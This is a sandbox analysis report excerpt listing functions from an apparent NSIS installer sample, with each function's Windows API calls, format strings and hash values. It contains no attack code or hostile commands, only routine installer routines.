String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0001A400,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(0073AFD0), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
